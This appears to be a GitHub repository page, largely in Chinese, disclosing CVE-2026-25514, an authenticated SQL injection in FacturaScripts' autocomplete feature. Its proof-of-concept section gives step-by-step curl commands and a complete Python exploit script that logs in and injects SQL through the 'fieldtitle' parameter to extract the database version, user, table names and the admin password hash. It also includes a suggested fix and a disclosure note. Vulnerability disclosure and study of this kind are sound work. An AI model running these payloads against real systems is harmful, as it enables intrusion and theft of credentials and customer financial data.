lukasz-rybak/CVE-2026-25514

GitHub: lukasz-rybak/CVE-2026-25514

该项目提供了针对 FacturaScripts 2025.81 之前版本 Autocomplete 操作中严重 SQL 注入漏洞的利用脚本及分析。

Stars: 0 | Forks: 0

# CVE-2026-25514: FacturaScripts 在 Autocomplete 操作中存在 SQL 注入 ## 概述 | 字段 | 详情 | |---|---| | **CVE ID** | [CVE-2026-25514](https://nvd.nist.gov/vuln/detail/CVE-2026-25514) | | **严重程度** | HIGH | | **安全公告** | [查看公告](https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-pqqg-5f4f-8952) | | **发现者** | [Lukasz Rybak](https://github.com/lukasz-rybak) | ## 受影响产品 - **facturascripts/facturascripts** (版本: < 2025.81) ## CWE 分类 - CWE-20: 输入验证不当 - CWE-89: SQL 命令中使用的特殊元素中和不当('SQL 注入') - CWE-943: 数据查询逻辑中的特殊元素中和不当 ## 详细信息 ### 摘要 **FacturaScripts 在自动补全功能中包含一个严重的 SQL 注入漏洞**,该漏洞允许经过身份验证的攻击者从数据库中提取敏感数据,包括用户凭据、配置设置以及所有存储的业务数据。该漏洞存在于 `CodeModel::all()` 方法中,其中用户提供的参数被直接拼接到 SQL 查询中,未经清理或参数化绑定。 ### 详情 FacturaScripts 中的多个控制器,包括 `CopyModel`、`ListController` 和 `PanelController`,都实现了一个自动补全操作,该操作通过 `CodeModel::search()` 或 `CodeModel::all()` 方法处理用户输入。这些方法通过直接拼接用户控制的参数来构建 SQL 查询,没有任何验证或转义。 #### 漏洞代码位置 **文件:** `/Core/Model/CodeModel.php` **方法:** `all()` **行数:** 108-109 ``` public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array { // ...... // VULNERABLE CODE: $sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description ' . 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC'; foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) { $result[] = new static($row); } return $result; } ``` #### 受漏洞影响的参数 以下参数容易受到 SQL 注入攻击: 1. **`source`** → 映射到 `$tableName` - 表名注入 2. **`fieldcode`** → 映射到 `$fieldCode` - 列名注入 3. **`fieldtitle`** → 映射到 `$fieldDescription` - 列名注入(主要攻击向量) #### 攻击流程 1. 攻击者使用有效凭据进行身份验证(任何用户角色) 2. 攻击者向 `/CopyModel` 发送 POST 请求,参数为 `action=autocomplete` 3. 恶意 SQL 函数/查询通过 `fieldtitle` 参数注入 4. 应用程序执行注入的 SQL 并以 JSON 格式返回结果 5. 攻击者从数据库中提取敏感数据 ### 概念验证 (PoC) #### 前置条件 - 有效的身份验证凭据(测试实例中为 admin/admin) - 访问 FacturaScripts Web 界面 #### 分步手动利用 (CLI) 由于 FacturaScripts 使用了 `MultiRequestProtection`,每个 POST 请求都需要一个有效的 `multireqtoken`。 **1. 获取初始 token 和会话 cookie:** FacturaScripts 将 `/` 重定向到 `/login`,因此我们使用 `-L` 跟随重定向,使用 `-c` 保存会话 cookie。 ``` TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+') echo $TOKEN ``` **2. 身份验证(登录):** 使用保存的 cookie 和 token 进行登录。 ``` curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \ -d "fsNick=admin" \ -d "fsPassword=admin" \ -d "action=login" \ -d "multireqtoken=$TOKEN" ``` **3. 提取数据库版本:** 为下一个请求获取新的 token 并执行注入。 ``` # 获取新的 token TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+') # 执行 SQLi curl -s -b cookies.txt "http://localhost:8091/CopyModel" \ -d "action=autocomplete" \ -d "source=users" \ -d "fieldcode=nick" \ -d "fieldtitle=version()" \ -d "term=admin" \ -d "multireqtoken=$TOKEN" ``` **4. 提取数据库用户和名称:** ``` # 获取新的 token TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+') # 执行 SQLi curl -s -b cookies.txt "http://localhost:8091/CopyModel" \ -d "action=autocomplete" \ -d "source=users" \ -d "fieldcode=nick" \ -d "fieldtitle=concat(user(),' @ ',database())" \ -d "term=admin" \ -d "multireqtoken=$TOKEN" ``` **5. 提取管理员密码哈希:** ``` # 获取新的 token TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+') # 执行 SQLi curl -s -b cookies.txt "http://localhost:8091/CopyModel" \ -d "action=autocomplete" \ -d "source=users" \ -d "fieldcode=nick" \ -d "fieldtitle=password" \ -d "term=admin" \ -d "multireqtoken=$TOKEN" ``` #### 自动化利用脚本 ``` #!/usr/bin/env python3 """ FacturaScripts SQL Injection Exploit - Autocomplete Author: Łukasz Rybak """ import requests import re import json # Configuration BASE_URL = "http://localhost:8091" USERNAME = "admin" PASSWORD = "admin" session = requests.Session() def get_csrf_token(url): """Extract CSRF token from page""" response = session.get(url) match = re.search(r'name="multireqtoken" value="([^"]+)"', response.text) return match.group(1) if match else None def login(): """Authenticate to FacturaScripts""" print(f"[*] Logging in as {USERNAME}...") token = get_csrf_token(f"{BASE_URL}/login") if not token: print("[!] Failed to get CSRF token") exit() data = { "multireqtoken": token, "action": "login", "fsNick": USERNAME, "fsPassword": PASSWORD } response = session.post(f"{BASE_URL}/login", data=data) if "Dashboard" not in response.text: print("[!] Login failed!") exit() print("[+] Successfully logged in.") def exploit_sqli(field_payload, term="admin", source="users", field_code="nick"): """Execute SQL injection through autocomplete""" data = { "action": "autocomplete", "source": source, "fieldcode": field_code, "fieldtitle": field_payload, "term": term } response = session.post(f"{BASE_URL}/CopyModel", data=data) try: return response.json() except: return None def main(): login() print("\n" + "="*60) print(" EXPLOITING SQL INJECTION IN AUTOCOMPLETE ") print("="*60 + "\n") # 1. Database version print("[*] Extracting database version...") res = exploit_sqli("version()") if res: print(f"[+] Database Version: {res[0]['value']}") # 2. Current user and database print("[*] Extracting DB user and database name...") res = exploit_sqli("concat(user(),' @ ',database())") if res: print(f"[+] DB User @ Database: {res[0]['value']}") # 3. Admin password hash print("[*] Extracting admin password hash...") res = exploit_sqli("password", term="admin") if res: print(f"[+] Admin Password Hash: {res[0]['value']}") # 4. All table names print("[*] Extracting table names...") res = exploit_sqli("(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())") if res: print(f"[+] Tables: {res[0]['value']}") print("\n[+] Exploitation complete!") if __name__ == "__main__": main() ``` image ### 影响 此 SQL 注入漏洞具有 **严重 (CRITICAL)** 影响: #### 数据机密性 - **完全数据库泄露** - 攻击者可以提取所有数据,包括: - 用户凭据(密码哈希) - 客户信息(姓名、地址、税务 ID 等) - 财务记录(发票、付款、银行详情) - 业务逻辑和配置数据 - 插件和系统设置 #### 谁受影响? - 运行易受攻击版本的 **所有 FacturaScripts 安装实例** - **所有经过身份验证的用户** 都可以利用(不仅仅是管理员) - 使用 FacturaScripts 进行会计/开票的 **企业** - 数据存储在系统中的 **客户** ### 建议修复方案 #### 立即修复 **选项 1:使用预处理语句** ``` // File: Core/Model/CodeModel.php // Method: all() public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array { // ... validation code ... // Validate and escape identifiers $safeTableName = self::db()->escapeColumn($tableName); $safeFieldCode = self::db()->escapeColumn($fieldCode); $safeFieldDescription = self::db()->escapeColumn($fieldDescription); // Use parameterized query $sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description ' . 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC'; foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) { $result[] = new static($row); } return $result; } ``` ## 参考资料 - https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-pqqg-5f4f-8952 - https://github.com/NeoRazorX/facturascripts/commit/5c070f82665b98efd2f914a4769c6dc9415f5b0f - https://nvd.nist.gov/vuln/detail/CVE-2026-25514 - https://github.com/advisories/GHSA-pqqg-5f4f-8952 ## 免责声明 此 CVE 是遵循协同漏洞披露实践负责任地披露的。此处提供的信息仅用于教育和防御目的。
标签:CISA项目, CVE-2026-25514, CWE-20, CWE-89, FacturaScripts, PHP漏洞, PNNL实验室, Web安全, 参数拼接, 多线程, 字符串匹配, 漏洞复现, 自动补全功能, 蓝队分析, 输入验证缺失, 逆向工具, 高危漏洞